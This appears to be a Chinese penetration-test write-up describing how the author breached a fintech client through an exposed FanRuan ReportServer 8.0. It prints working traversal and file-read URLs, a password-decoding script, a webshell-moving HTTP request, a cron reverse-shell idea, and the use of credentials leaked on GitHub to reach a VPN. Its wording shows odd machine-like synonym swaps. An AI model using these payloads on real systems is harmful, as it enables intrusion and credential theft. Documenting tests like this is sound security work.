记录一次渗透测试艰难打点的过程

本次接到一个hvv前的浸透测试项目,一家互联网金融,今年是第二年给他们家做测试,项目完成后,复盘时觉得还是有一些东西是能够记载一下的。

项目总体状况

该厂家资产较多,前期搜集到的资产大约有100多个,大局部为Springboot开发,有阿里云waf,局部为nodejs+vue的。而且去年曾经挖过一次,找到的洞全部曾经修复了,所以今年在打的话就比拟费劲了。今年的发掘重点在于去年没找到的资产,但是一顿猛如虎的操作过后,只挖到一些信息泄露和越权,这显然是没法交差的。
去年的发掘重点是Springboot的站,今年就选择nodejs的站为重点来打破,固然困难,但最后还是找到两个打破点胜利进入内网。

一、 打破点1:客服系统

首先关注的资产是客服系统,该系统运转在444端口(域名先称之为https://www.test.com:444/),采用nodejs+vue开发,有上传功用,但上传后的文件直接传到的阿里云的oss上,xss去年挖过了,也曾经被修复了,扫描端口,发现开了80、443、444,不过全部指向该客服系统,由于目的nodejs的站比拟少,无法只能死磕这个站了。

0x01 差点错过的切入点

死磕的过程中紧紧盯着搜集到的信息,发现有一个细节就是阅读器选项卡里的logo变了,本来是厂家的logo,如今居然变成了别的logo,这个细节让我觉得这个站点下面还有别的站点。
本来的logo信息如下:(原谅我找了个网图,由于一看logo就可能会暴露厂商信息)

扫描完目录后的logo如下:

百度后发现这是个帆软的报表系统的logo,疑心是在某个二级目录下部署的,于是开端了漫长的目录扫描,发现除了是客服系统的目录外,并没有其他的收获,但是logo的变化,让我确信该站点存在其他系统,并且在信息搜集的时分不测访问过,才会招致logo的变化。

0x02 峰回路转

如今整理下思绪,肯定有个帆软的报表系统,那么就针对性的对帆软的目录构造停止爆破,这里我先是在本地搭建了一个帆软的系统,发现访问的url衔接为

http://localhost:8075/WebReport/ReportServer?op=fs

默许是运转在/WebReport/的目录下,我们直接访问这个目录却提示404,这也是前期扫描器没扫出来的缘由,404的问题后面也会提到。

无法在本地系统里把帆软的目录及访问首页的衔接全部做成字典,挨个停止尝试,最后发现访问https://www.test.com:444//WebReport/ReportServer的时分呈现了帆软的界面。。

0x03 破绽组合拿权限

既然曾经找到了目录,并且判别出版本为8.0
这个版本是存在破绽的,尝试了一下公开的破绽

目录遍历

https://www.test.com:444/WebReport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../..&currentUserName=admin&currentUserId=1&isWebReport=true

恣意文件读取:

https://www.test.com:444/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml

胜利读到了加密后的账号密码

# -*- coding: utf-8 -*-
cipher = 'xxx' 
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] 
Password = ""
cipher = cipher[3:] 
for i in range(int(len(cipher) / 4)):
    c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
    c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
    Password = Password + chr(c2)
print (Password)

然后应用脚本解密出来账号密码,一切顺利进入后台,然后就是插件处上传插件,上传后的插件默许在/WEB-INF/目录下,需求把文件移出来,这里参考了ADog大神的文章(http://foreversong.cn/archives/1378) 然后用如下数据包停止脚本挪动

POST /WebReport/ReportServer?op=fr_server&cmd=manual_backup HTTP/1.1
Host: www.test.com:444
Content-Length: 106
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8
Cookie: xxx
Connection: close

optype=edit_backup&oldname=../../plugins/plugin-com.fr.plugin.external&newname=../../../data.jsp&serverID=

然后开开心心去访问shell,却发现是404,操作步骤是本地测试过的,没有问题,用前面的列目录去查看,发现shell的确挪动到了/WebReport/目录下,直接访问https://www.test.com:444/WebReport/data.jsp 还是404,尝试该目录下的一些静态文件,也全部404,猜想是只映射了http://www.test.com:444/WebReport/ReportServer这一个链接出来。

0x04 一波三折完成命令执行

冷静下来,总结一下,我们如今有了列目录破绽、读文件破绽、挪动文件的权限,那么开端尝试直接写方案任务反弹shell就好了,先经过列目录破绽找到方案任务目录查看能否存在已有的方案任务,然后把弹shell的脚本交换到现有方案任务里,完成了命令执行。

等了良久却没收到shell,又是一次繁重的打击,用方案任务的命令执行写个文件看看,发现的确能够写进去,那么只能阐明目的不出网或者命令被拦截了。。但仍然完成了命令执行,也算是个高危报告了,系统暂时告一段落。

二、github源码泄露

固然拿到了命令执行,但目的还是要进内网的,无法翻看系统内的文件,然后在系统内某个目录的文件里发现了一个并不在测试列表里的域名,在github搜索目的域名,发现了一个仓库,里面的源码最近一次修正时6年前,且信息搜集的时分并没有发现这个系统,疑心该系统曾经下线,例行公事的去翻翻配置文件,发现了配置文件里有个泄露的邮箱,但毕竟6年了,也没抱太大希望去尝试了一下,居然登录进去了。。

163的企业邮箱

在这个邮箱里发现了用户重置vpn密码的邮件,然后经过vpn顺利进入内网。。

三、总结

此次打点过程比拟困难,用了大约三天的时间,发现帆软的系统关于这次项目来说是个绝对性的打破点,主要还是要仔细,假如没留意到阅读器选项卡的logo变化,可能就错过这个破绽了。

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞5赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像李插0